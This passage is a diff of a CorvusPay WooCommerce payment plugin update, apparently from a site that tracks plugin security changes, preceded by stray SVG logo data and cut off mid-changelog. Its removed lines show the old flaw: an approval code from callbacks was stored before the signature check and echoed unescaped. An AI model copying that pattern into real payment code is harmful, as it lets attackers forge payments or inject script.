0,0 C 0.088,4.83 -2.02,12.472 -10.715,12.472 -18.619,12.472 -21.957,5.357 -22.572,0 Z m -22.66,-5.533 c 0.176,-10.452 6.764,-14.756 14.58,-14.756 5.533,0 8.959,0.967 11.769,2.196 l 1.406,-5.533 c -2.723,-1.229 -7.466,-2.723 -14.229,-2.723 -13.087,0 -20.903,8.695 -20.903,21.518 0,12.823 7.553,22.836 19.936,22.836 13.966,0 17.567,-12.12 17.567,-19.938 0,-1.581 -0.088,-2.722 -0.264,-3.6 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1534.0265,765.4728)\" \u002F>\u003Cpath   id=\"path8\"   d=\"m 0,0 c -23.104,48.986 -71.894,78.522 -127.259,78.522 -70.137,0 -135.309,-47.11 -158.324,-112.163 27.325,79.541 101.25,132.979 180.812,132.979 62.798,0 118.141,-33.504 145.842,-88.564 L 30.7,-5.514 Z m -19.645,-124.063 c 3.692,3.366 6.271,7.356 7.736,11.97 1.467,4.614 2.633,8.983 3.502,13.109 l 7.329,32.244 c 0.867,3.474 1.411,6.162 1.627,8.06 0.218,1.901 0.325,3.339 0.325,4.317 0,0.976 -0.242,2.198 -0.732,3.663 -0.488,1.466 -1.711,3.122 -3.663,4.967 h 23.613 c 2.279,0 4.449,0.272 6.512,0.814 2.064,0.544 4.182,1.357 6.352,2.442 l -3.747,-16.609 c 1.088,1.845 2.443,3.718 4.074,5.619 1.627,1.898 3.474,3.609 5.535,5.129 2.063,1.519 4.343,2.74 6.84,3.664 2.496,0.922 5.212,1.33 8.144,1.222 l 3.745,-0.164 -5.376,-24.427 c -1.845,1.521 -3.58,2.497 -5.212,2.931 -1.626,0.434 -2.875,0.652 -3.744,0.652 -3.148,0 -5.943,-0.76 -8.386,-2.28 -2.443,-1.519 -4.423,-3.42 -5.945,-5.699 -0.867,-1.195 -1.627,-2.58 -2.28,-4.154 -0.65,-1.573 -1.248,-3.175 -1.79,-4.803 -0.543,-1.629 -1.004,-3.122 -1.384,-4.478 -0.38,-1.357 -0.625,-2.416 -0.734,-3.176 l -2.115,-9.934 c -0.219,-0.977 -0.463,-2.144 -0.734,-3.501 -0.271,-1.357 -0.544,-2.823 -0.814,-4.397 -0.271,-1.575 -0.515,-3.094 -0.734,-4.56 -0.216,-1.465 -0.325,-2.741 -0.325,-3.826 0,-2.389 0.325,-4.29 0.976,-5.7 0.652,-1.411 1.249,-2.443 1.792,-3.095 z m -535.445,16.936 c 1.52,-0.542 3.121,-0.95 4.804,-1.221 1.683,-0.271 3.284,-0.406 4.804,-0.406 3.908,0 8.033,1.085 12.376,3.256 4.343,2.171 8.36,5.619 12.052,10.34 3.691,4.722 6.757,10.749 9.201,18.077 2.443,7.327 3.663,16.149 3.663,26.463 0,6.622 -0.895,11.752 -2.686,15.389 -1.792,3.636 -3.909,6.297 -6.352,7.979 -2.443,1.683 -4.939,2.688 -7.491,3.013 -2.551,0.325 -4.532,0.488 -5.944,0.488 -1.194,0 -2.089,-0.026 -2.687,-0.08 -0.598,-0.055 -1.71,-0.299 -3.338,-0.733 z m -42.83,-16.936 c 2.39,1.737 4.343,3.528 5.863,5.374 1.521,1.846 2.769,3.828 3.746,5.945 0.977,2.116 1.764,4.315 2.361,6.595 0.598,2.28 1.167,4.668 1.711,7.165 l 14.167,63.837 c 1.085,4.776 1.71,8.196 1.872,10.259 0.163,2.062 0.245,3.419 0.245,4.07 0,1.521 -0.299,3.149 -0.895,4.886 -0.597,1.737 -1.873,3.691 -3.827,5.862 h 49.831 c 6.621,0 12.511,-0.515 17.668,-1.546 5.158,-1.031 9.853,-2.959 14.088,-5.78 5.753,-3.91 9.88,-9.066 12.375,-15.472 2.498,-6.406 3.746,-13.625 3.746,-21.658 0,-5.645 -0.624,-11.265 -1.873,-16.855 -1.247,-5.592 -3.039,-10.912 -5.373,-15.959 -2.334,-5.05 -5.266,-9.771 -8.794,-14.168 -3.529,-4.397 -7.573,-8.225 -12.132,-11.481 -5.646,-4.016 -11.888,-6.867 -18.729,-8.549 -6.839,-1.683 -15.252,-2.525 -25.24,-2.525 z m 162.198,118.228 c 4.559,0 8.196,-1.329 10.911,-3.99 2.714,-2.659 4.071,-6.269 4.071,-10.829 0,-5.32 -1.628,-9.662 -4.885,-13.028 -3.258,-3.366 -7.383,-5.048 -12.376,-5.048 -4.887,0 -8.741,1.438 -11.563,4.315 -2.823,2.877 -4.235,6.595 -4.235,11.156 0,5.211 1.629,9.417 4.887,12.62 3.256,3.203 7.653,4.804 13.19,4.804 m -5.7,-39.898 c 4.234,0 7.573,0.407 10.015,1.222 2.444,0.814 4.261,1.492 5.455,2.034 l -12.213,-55.367 c -0.218,-0.76 -0.461,-1.845 -0.733,-3.258 -0.271,-1.41 -0.407,-2.659 -0.407,-3.744 0,-1.195 0.217,-2.091 0.652,-2.688 0.433,-0.596 0.95,-1.058 1.547,-1.384 0.597,-0.326 1.194,-0.516 1.79,-0.57 0.598,-0.054 1.114,-0.082 1.547,-0.082 1.738,0 3.096,0.164 4.072,0.489 0.978,0.327 1.737,0.597 2.28,0.815 l -11.563,-14.82 c -3.147,-1.52 -5.916,-2.442 -8.304,-2.768 -2.389,-0.326 -4.506,-0.488 -6.351,-0.488 -1.521,0 -3.176,0.162 -4.967,0.488 -1.792,0.326 -3.448,1.033 -4.967,2.118 -1.52,1.085 -2.795,2.633 -3.828,4.64 -1.03,2.009 -1.546,4.695 -1.546,8.061 0,2.496 0.217,4.723 0.651,6.677 0.434,1.955 0.924,4.125 1.466,6.514 l 6.84,31.104 c 0.108,0.652 0.27,1.465 0.488,2.443 0.217,0.978 0.435,2.063 0.652,3.257 0.217,1.193 0.406,2.36 0.569,3.501 0.163,1.14 0.245,2.198 0.245,3.176 0,2.171 -0.543,3.989 -1.629,5.454 -1.085,1.466 -1.954,2.524 -2.606,3.176 z m 14.819,-78.33 c 3.69,3.366 6.269,7.356 7.736,11.97 1.465,4.614 2.632,8.983 3.5,13.109 l 7.33,32.244 c 0.867,3.474 1.41,6.162 1.627,8.06 0.217,1.901 0.327,3.339 0.327,4.317 0,0.976 -0.245,2.198 -0.734,3.663 -0.489,1.466 -1.71,3.122 -3.664,4.967 h 23.613 c 2.281,0 4.451,0.272 6.514,0.814 2.063,0.544 4.18,1.357 6.351,2.442 l -2.932,-12.701 c 2.498,2.823 4.968,5.02 7.41,6.596 2.443,1.573 4.723,2.741 6.841,3.501 2.116,0.759 3.962,1.221 5.536,1.384 1.574,0.163 2.795,0.245 3.664,0.245 3.039,0 5.891,-0.462 8.55,-1.385 2.659,-0.922 4.993,-2.253 7.002,-3.99 2.009,-1.738 3.583,-3.772 4.722,-6.106 1.141,-2.336 1.71,-4.968 1.71,-7.898 0,-0.87 -0.081,-2.255 -0.243,-4.153 -0.163,-1.901 -0.679,-4.696 -1.549,-8.386 l -4.885,-22.311 c -0.542,-2.063 -0.84,-3.61 -0.895,-4.641 -0.053,-1.032 -0.082,-1.711 -0.082,-2.036 0,-1.087 0.3,-2.225 0.897,-3.42 0.597,-1.194 2.034,-1.792 4.315,-1.792 1.303,0 2.688,0.164 4.151,0.489 1.467,0.327 2.634,0.652 3.503,0.978 l -11.563,-14.983 c -1.736,-0.868 -3.746,-1.629 -6.025,-2.279 -2.28,-0.652 -4.995,-0.977 -8.143,-0.977 -3.581,0 -6.513,0.515 -8.793,1.547 -2.28,1.031 -4.071,2.306 -5.374,3.827 -1.303,1.519 -2.199,3.229 -2.688,5.129 -0.487,1.9 -0.732,3.664 -0.732,5.293 0,1.845 0.218,3.609 0.651,5.292 0.435,1.684 0.923,3.664 1.466,5.943 l 5.7,25.08 c 0.217,0.543 0.38,1.195 0.488,1.954 0.11,0.759 0.163,1.465 0.163,2.117 0,1.846 -0.299,3.258 -0.895,4.235 -0.598,0.976 -1.277,1.709 -2.035,2.197 -0.761,0.489 -1.548,0.788 -2.363,0.897 -0.813,0.107 -1.438,0.162 -1.872,0.162 -4.343,0 -7.518,-1.655 -9.527,-4.967 -2.008,-3.311 -3.61,-7.734 -4.803,-13.272 l -3.746,-18.076 c -0.218,-0.977 -0.462,-2.144 -0.734,-3.501 -0.27,-1.357 -0.542,-2.823 -0.813,-4.397 -0.272,-1.575 -0.516,-3.094 -0.733,-4.56 -0.218,-1.465 -0.326,-2.741 -0.326,-3.826 0,-2.389 0.326,-4.29 0.976,-5.7 0.653,-1.411 1.249,-2.443 1.793,-3.095 z m 146.564,-0.814 c -1.194,-0.326 -2.579,-0.651 -4.153,-0.977 -1.574,-0.326 -3.446,-0.488 -5.617,-0.488 -3.583,0 -7.058,0.542 -10.422,1.627 -3.367,1.085 -6.379,2.769 -9.04,5.049 -2.66,2.28 -4.777,5.265 -6.35,8.958 -1.575,3.69 -2.362,8.142 -2.362,13.352 0,3.257 0.325,6.677 0.977,10.26 0.652,3.582 1.683,7.166 3.095,10.747 1.41,3.583 3.284,7.085 5.618,10.504 2.335,3.421 5.13,6.595 8.387,9.527 1.954,1.737 4.097,3.393 6.432,4.966 2.335,1.574 4.994,2.933 7.98,4.072 2.986,1.14 6.297,2.064 9.933,2.769 3.637,0.706 7.735,1.059 12.295,1.059 2.281,0 4.425,-0.11 6.432,-0.327 2.009,-0.217 3.936,-0.434 5.783,-0.652 2.278,-0.216 4.287,-0.433 6.024,-0.65 1.736,-0.217 3.473,-0.326 5.211,-0.326 2.172,0 4.506,0.191 7.003,0.57 2.497,0.379 5.156,1.331 7.979,2.85 l -12.213,-55.694 c -0.218,-0.978 -0.461,-2.063 -0.733,-3.257 -0.27,-1.195 -0.407,-2.389 -0.407,-3.583 0,-1.412 0.38,-2.606 1.14,-3.582 0.76,-0.978 2.226,-1.467 4.397,-1.467 1.193,0 2.443,0.136 3.745,0.408 1.304,0.271 2.552,0.623 3.746,1.059 l -11.563,-14.983 c -2.497,-1.302 -4.912,-2.171 -7.246,-2.604 -2.334,-0.435 -4.588,-0.652 -6.758,-0.652 -1.194,0 -2.795,0.108 -4.804,0.325 -2.009,0.217 -3.964,0.869 -5.862,1.954 -1.901,1.086 -3.529,2.742 -4.887,4.967 -1.357,2.226 -2.036,5.347 -2.036,9.363 0,0.761 0.056,1.467 0.164,2.118 0.108,0.651 0.245,1.412 0.407,2.281 0.163,0.867 0.38,1.899 0.651,3.094 0.272,1.193 0.624,2.713 1.059,4.559 l 8.305,36.966 c -0.869,0.544 -2.008,1.114 -3.42,1.71 -1.412,0.597 -2.931,0.895 -4.56,0.895 -2.93,0 -5.754,-1.166 -8.467,-3.501 -2.715,-2.334 -5.076,-5.319 -7.085,-8.955 -2.008,-3.637 -3.609,-7.709 -4.804,-12.215 -1.194,-4.505 -1.79,-8.93 -1.79,-13.272 0,-5.102 1.357,-8.766 4.071,-10.992 2.713,-2.226 5.916,-3.338 9.608,-3.338 0.543,0 1.004,0.027 1.383,0.082 0.38,0.053 0.734,0.134 1.059,0.243 z\"   style=\"fill:#c5161d;fill-opacity:1;fill-rule:evenodd;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1093.4381,523.22053)\" \u002F>\u003Cpath   id=\"path9\"   d=\"m 0,0 c -1.194,-0.325 -2.579,-0.651 -4.155,-0.977 -1.572,-0.325 -3.445,-0.488 -5.618,-0.488 -3.583,0 -7.056,0.543 -10.421,1.628 -3.367,1.085 -6.379,2.768 -9.039,5.049 -2.659,2.279 -4.777,5.265 -6.351,8.957 -1.574,3.691 -2.36,8.143 -2.36,13.353 0,3.256 0.325,6.676 0.976,10.259 0.653,3.582 1.683,7.166 3.096,10.748 1.41,3.583 3.284,7.085 5.618,10.504 2.333,3.42 5.128,6.594 8.386,9.527 1.954,1.737 4.098,3.393 6.432,4.966 2.334,1.574 4.993,2.932 7.98,4.071 2.984,1.14 6.297,2.064 9.934,2.769 3.637,0.706 7.735,1.059 12.294,1.059 2.279,0 4.423,-0.109 6.432,-0.326 2.009,-0.218 3.937,-0.435 5.782,-0.652 2.279,-0.216 4.288,-0.434 6.026,-0.651 1.735,-0.217 3.473,-0.325 5.209,-0.325 2.172,0 4.506,0.19 7.004,0.57 2.498,0.378 5.157,1.331 7.98,2.849 L 42.989,27.197 c -0.216,-0.979 -0.46,-2.064 -0.731,-3.258 -0.271,-1.194 -0.406,-2.388 -0.406,-3.583 0,-1.411 0.38,-2.606 1.137,-3.581 0.763,-0.979 2.227,-1.468 4.398,-1.468 1.194,0 2.443,0.137 3.746,0.409 1.304,0.27 2.553,0.623 3.747,1.059 L 43.317,1.791 c -2.498,-1.302 -4.912,-2.171 -7.246,-2.604 -2.334,-0.435 -4.588,-0.652 -6.76,-0.652 -1.194,0 -2.795,0.108 -4.803,0.325 -2.009,0.218 -3.963,0.869 -5.863,1.954 -1.899,1.087 -3.528,2.743 -4.886,4.968 -1.356,2.225 -2.035,5.347 -2.035,9.363 0,0.761 0.055,1.466 0.162,2.117 0.109,0.651 0.247,1.412 0.408,2.281 0.162,0.868 0.38,1.9 0.651,3.094 0.273,1.193 0.624,2.714 1.059,4.56 l 8.305,36.966 c -0.869,0.543 -2.009,1.113 -3.419,1.709 -1.413,0.597 -2.932,0.895 -4.561,0.895 -2.93,0 -5.753,-1.166 -8.467,-3.501 -2.714,-2.334 -5.076,-5.318 -7.085,-8.955 -2.008,-3.637 -3.609,-7.709 -4.803,-12.214 -1.194,-4.506 -1.793,-8.93 -1.793,-13.273 0,-5.102 1.358,-8.766 4.072,-10.992 2.714,-2.225 5.917,-3.338 9.609,-3.338 0.542,0 1.005,0.027 1.384,0.082 0.38,0.053 0.732,0.134 1.059,0.243 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,994.5084,689.72373)\" \u002F>\u003Cpath   id=\"path10\"   d=\"m 0,0 c -5.321,-2.496 -10.478,-4.151 -15.471,-4.967 -4.993,-0.813 -9.77,-1.22 -14.329,-1.22 -9.338,0 -17.238,1.383 -23.696,4.151 -6.458,2.77 -11.698,6.406 -15.715,10.912 -4.018,4.504 -6.948,9.663 -8.793,15.47 -1.847,5.809 -2.768,11.753 -2.768,17.833 0,4.777 0.461,9.635 1.382,14.574 0.924,4.939 2.336,9.771 4.236,14.493 1.899,4.724 4.288,9.201 7.163,13.435 2.878,4.235 6.216,8.035 10.017,11.399 7.273,6.406 15.008,10.722 23.204,12.948 8.199,2.226 16.369,3.338 24.511,3.338 4.017,0 8.305,-0.299 12.864,-0.896 4.561,-0.597 9.554,-1.819 14.982,-3.664 L 14.818,83.704 c -2.17,2.931 -4.504,5.185 -7.002,6.759 -2.498,1.574 -4.886,2.741 -7.165,3.501 -2.28,0.76 -4.317,1.221 -6.107,1.384 -1.791,0.163 -3.068,0.244 -3.828,0.244 -4.884,0 -9.661,-1.194 -14.329,-3.582 -4.667,-2.389 -8.794,-5.809 -12.377,-10.26 -3.583,-4.45 -6.461,-9.879 -8.63,-16.285 -2.173,-6.405 -3.258,-13.679 -3.258,-21.821 0,-1.085 0.081,-2.66 0.244,-4.723 0.162,-2.062 0.516,-4.315 1.059,-6.757 0.544,-2.445 1.385,-4.941 2.524,-7.492 1.14,-2.552 2.743,-4.886 4.803,-7.002 2.064,-2.118 4.614,-3.828 7.655,-5.13 3.04,-1.303 6.731,-1.955 11.074,-1.955 0.869,0 2.225,0.056 4.07,0.164 1.847,0.109 4.155,0.542 6.923,1.303 2.769,0.759 5.972,1.9 9.607,3.419 3.637,1.52 7.681,3.692 12.132,6.514 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,915.90573,683.42693)\" \u002F>\u003Cpath   id=\"path11\"   d=\"m 0,0 c 1.847,0 4.046,0.272 6.596,0.816 2.55,0.542 4.587,1.302 6.107,2.279 l -20.03,-90.706 c -0.544,-2.173 -0.869,-3.773 -0.978,-4.805 -0.107,-1.031 -0.162,-1.71 -0.162,-2.036 0,-1.194 0.216,-2.116 0.651,-2.767 0.434,-0.652 0.923,-1.141 1.467,-1.466 0.541,-0.326 1.137,-0.543 1.79,-0.652 0.651,-0.108 1.249,-0.164 1.791,-0.164 0.869,0 1.927,0.082 3.176,0.245 1.249,0.164 2.85,0.571 4.804,1.223 l -11.725,-14.983 c -2.932,-1.52 -5.591,-2.442 -7.98,-2.769 -2.388,-0.325 -4.343,-0.488 -5.862,-0.488 -3.801,0 -6.84,0.488 -9.12,1.465 -2.279,0.977 -4.046,2.226 -5.292,3.747 -1.249,1.519 -2.063,3.174 -2.443,4.966 -0.38,1.791 -0.57,3.502 -0.57,5.13 0,1.954 0.19,3.88 0.57,5.781 0.38,1.899 0.895,4.424 1.548,7.573 l 7.977,36.64 c -1.626,1.304 -3.093,2.117 -4.394,2.444 -1.304,0.325 -2.389,0.486 -3.258,0.486 -2.932,0 -5.701,-1.165 -8.305,-3.501 -2.605,-2.334 -4.887,-5.318 -6.841,-8.954 -1.954,-3.638 -3.473,-7.737 -4.559,-12.297 -1.087,-4.56 -1.628,-9.011 -1.628,-13.353 0,-1.194 0.109,-2.579 0.325,-4.153 0.216,-1.575 0.76,-3.122 1.629,-4.641 0.869,-1.52 2.118,-2.795 3.744,-3.826 1.629,-1.032 3.908,-1.548 6.841,-1.548 0.65,0 1.194,0.028 1.628,0.082 0.435,0.054 0.869,0.134 1.301,0.243 l -8.628,-15.144 c -3.151,-0.76 -6.46,-1.14 -9.934,-1.14 -1.413,0 -3.666,0.217 -6.757,0.652 -3.096,0.433 -6.19,1.601 -9.284,3.5 -3.094,1.901 -5.808,4.833 -8.144,8.794 -2.334,3.963 -3.5,9.473 -3.5,16.529 0,7.708 1.575,15.2 4.723,22.474 3.148,7.274 7.6,13.516 13.353,18.728 5.646,5.101 11.264,8.413 16.855,9.933 5.592,1.519 11.21,2.28 16.856,2.28 2.17,0 3.962,-0.053 5.373,-0.164 1.413,-0.108 3.528,-0.434 6.351,-0.977 l 3.094,13.517 c 0.869,3.475 1.384,6.026 1.545,7.654 0.164,1.629 0.248,2.715 0.248,3.257 0,1.412 -0.219,2.985 -0.654,4.722 -0.434,1.738 -1.683,3.528 -3.744,5.374 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1282.4215,536.64653)\" \u002F>\u003Cpath   id=\"path12\"   d=\"m 0,0 c 23.104,-48.987 71.897,-78.523 127.259,-78.523 70.137,0 135.31,47.11 158.324,112.164 -27.323,-79.542 -101.25,-132.98 -180.809,-132.98 -62.801,0 -118.145,33.504 -145.844,88.566 l 10.363,16.286 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,777.15667,724.02173)\" \u002F>\u003Cpath   id=\"path13\"   d=\"m 0,0 h -70.429 v 21.396 c 0,19.435 15.75,35.245 35.185,35.245 C -15.75,56.641 0,40.831 0,21.396 Z m -27.886,-55.971 6.374,-22.039 h -26.746 l 5.67,22.039 h 0.123 c -4.803,2.595 -8.104,7.614 -8.104,13.456 0,8.48 6.875,15.354 15.354,15.354 8.48,0 15.354,-6.874 15.354,-15.354 0,-5.842 -3.301,-10.861 -8.104,-13.456 z M 17.177,0 v 25.438 c -0.12,1.664 -0.298,3.328 -0.595,4.992 -4.279,24.725 -25.854,43.565 -51.826,43.565 -25.913,0 -47.488,-18.84 -51.768,-43.565 -0.534,-2.912 -0.772,-5.943 -0.772,-9.034 V 0 c -9.45,-0.119 -16.998,-7.726 -16.998,-17.117 v -72.212 c 0,-9.51 7.667,-17.177 17.176,-17.177 H 17.177 c 9.449,0 17.176,7.667 17.176,17.177 v 72.212 C 34.353,-7.667 26.626,0 17.177,0\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1502.3944,564.5552)\" \u002F> \u003C\u002Fg> \u003C\u002Fg>\u003C\u002Fsvg>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fcorvuspay-woocommerce-integration.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fcorvuspay-woocommerce-integration.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fcorvuspay-woocommerce-integration.php\t2026-05-18 12:47:06.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fcorvuspay-woocommerce-integration.php\t2026-06-18 09:41:54.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: CorvusPay WooCommerce Payment Gateway\n  * Plugin URI: https:\u002F\u002Fwww.corvuspay.com\u002F\n  * Description: Extends WooCommerce with CorvusPay Credit Card payments.\n- * Version: 2.7.4\n+ * Version: 2.7.5\n  * Author: Corvus Pay d.o.o.\n  * Author URI: https:\u002F\u002Fwww.corvuspay.com\u002F\n  * Copyright: © 2026 Corvus Pay\n@@ -24,7 +24,7 @@\n }\n \n define( 'WC_CORVUSPAY_SETTINGS_VERSION', 4 );\n-define( 'WC_CORVUSPAY_VERSION', '2.7.4' );\n+define( 'WC_CORVUSPAY_VERSION', '2.7.5' );\n define( 'WC_CORVUSPAY_FILE', __FILE__ );\n define( 'WC_CORVUSPAY_PATH', dirname( __FILE__ ) );\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php\t2026-04-14 07:05:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-gateway-corvuspay.php\t2026-06-18 09:41:54.000000000 +0000\n@@ -779,7 +779,7 @@\n \t\ttry {\n \t\t\t$this->log->debug( 'Enter corvuspay_cancel_handler $_POST: ' . wp_json_encode( $_POST ) );\n \n-\t\t\t$order = new WC_Order_CorvusPay( $this->log, $this->options, 'callback' );\n+\t\t\t$order = new WC_Order_CorvusPay( $this->log, $this->options, 'callback-signed' );\n \n \t\t\t$this->log->info( 'Cancel URL for Order ' . $order->get_id() . '.' );\n \n@@ -1710,7 +1710,7 @@\n \t\tif ( isset( $approval_code ) && isset( $transaction_date ) ) {\n \t\t\techo '\u003Cp>' . __( 'Payment successful - payment card account debited.', 'corvuspay-woocommerce-integration' ) . '\u003C\u002Fp>\n                   \u003Cul>\n-                    \u003Cli>' . __( 'Approval code: ', 'corvuspay-woocommerce-integration' ) . $approval_code . ' \u003C\u002Fli>\n+                    \u003Cli>' . __( 'Approval code: ', 'corvuspay-woocommerce-integration' ) . esc_html( $approval_code ) . ' \u003C\u002Fli>\n                     \u003Cli>' . __( 'Transaction date and time: ', 'corvuspay-woocommerce-integration' ) . $transaction_date . '\u003C\u002Fli>\n                   \u003C\u002Ful>';\n \t\t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-order-corvuspay.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-order-corvuspay.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fincludes\u002Fclass-wc-order-corvuspay.php\t2024-05-16 11:45:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fincludes\u002Fclass-wc-order-corvuspay.php\t2026-06-18 09:41:54.000000000 +0000\n@@ -174,20 +174,31 @@\n \t        $post_id = $this->get_post_by_corvuspay_order_number( $this->parameters['order_number'] );\n \n \t        if ( null === $post_id ) {\n-\t\t        $this->log->error( 'The parameter $post_id is null. There is no post with \n+\t\t        $this->log->error( 'The parameter $post_id is null. There is no post with\n \t\t        _corvuspay_order_number equals ' . $this->parameters['order_number'] );\n \t        }\n \n \t        parent::__construct( $post_id );\n-\t\t\t\n-\t\t\tif ( 'callback-signed' === $type ) {\n-\t\t\t\tif ( isset( $this->parameters[\"approval_code\"] ) && $this->parameters[\"approval_code\"] != null ) {\n-\t\t\t\t\t$this->update_meta_data( '_corvuspay_approval_code', $this->parameters[\"approval_code\"] );\n-\t\t\t\t\t$this->update_meta_data( '_corvuspay_transaction_date', current_time( \"d.m.Y H:i:s\" ) );\n-\t\t\t\t}\n+\n+            if ( 'callback-signed' === $type ) {\n                 $res = $this->client->validate->signature( $this->parameters );\n-                $this->log->debug( 'Result from signature validation: ' . $res );\n-\t\t\t}\n+                $this->log->debug( 'Result from signature validation: ' . ( $res ? 'true' : 'false' ) );\n+\n+                if ( ! $res ) {\n+                    throw new Exception( 'Invalid CorvusPay signature.' );\n+                }\n+\n+                if ( isset( $this->parameters['approval_code'] ) && null !== $this->parameters['approval_code'] ) {\n+                    $this->update_meta_data(\n+                        '_corvuspay_approval_code',\n+                        sanitize_text_field( $this->parameters['approval_code'] )\n+                    );\n+                    $this->update_meta_data(\n+                        '_corvuspay_transaction_date',\n+                        current_time( 'd.m.Y H:i:s' )\n+                    );\n+                }\n+            }\n \t\t} elseif ( 'api' === $type || 'api-status' === $type || 'api-renew' === $type ) {\n \t        \u002F* Existing order for API *\u002F\n \t        parent::__construct( $order );\n@@ -699,7 +710,7 @@\n      * Get post by meta value when meta key is \"_corvuspay_order_number\".\n      *\n      * @param string $corvuspay_order_number\n-     * \n+     *\n      * @return int|null id of last post with '_corvuspay_order_number' == $corvuspay_order_number or null if not exists.\n      *\u002F\n \tprivate function get_post_by_corvuspay_order_number( $corvuspay_order_number ) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot\t2026-04-14 07:05:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Flanguages\u002Fcorvuspay-woocommerce-integration.pot\t2026-06-18 09:41:54.000000000 +0000\n@@ -2,7 +2,7 @@\n # This file is distributed under the same license as the CorvusPay WooCommerce Payment Gateway plugin.\n msgid \"\"\n msgstr \"\"\n-\"Project-Id-Version: CorvusPay WooCommerce Payment Gateway 2.7.3\\n\"\n+\"Project-Id-Version: CorvusPay WooCommerce Payment Gateway 2.7.5\\n\"\n \"Report-Msgid-Bugs-To: https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fcorvuspay-woocommerce-integration\\n\"\n \"Last-Translator: FULL NAME \u003CEMAIL@ADDRESS>\\n\"\n \"Language-Team: LANGUAGE \u003CLL@li.org>\\n\"\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Freadme.txt\t2026-05-18 12:47:06.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Freadme.txt\t2026-06-18 09:41:54.000000000 +0000\n@@ -3,7 +3,7 @@\n Tags: payment, credit card, corvuspay, woocommerce\n Requires at least: 6.0\n Tested up to: 7\n-Stable tag: 2.7.4\n+Stable tag: 2.7.5\n Requires PHP: 7.4\n License: GNU General Public License v2.0 (or later)\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n@@ -125,6 +125,11 @@\n 10. CorvusPay Wallet stored credit card.\n \n == Changelog ==\n+= 2.7.5 =\n+* Changed: New version of DinaCard logo.\n+* Improved: Added signature validation for 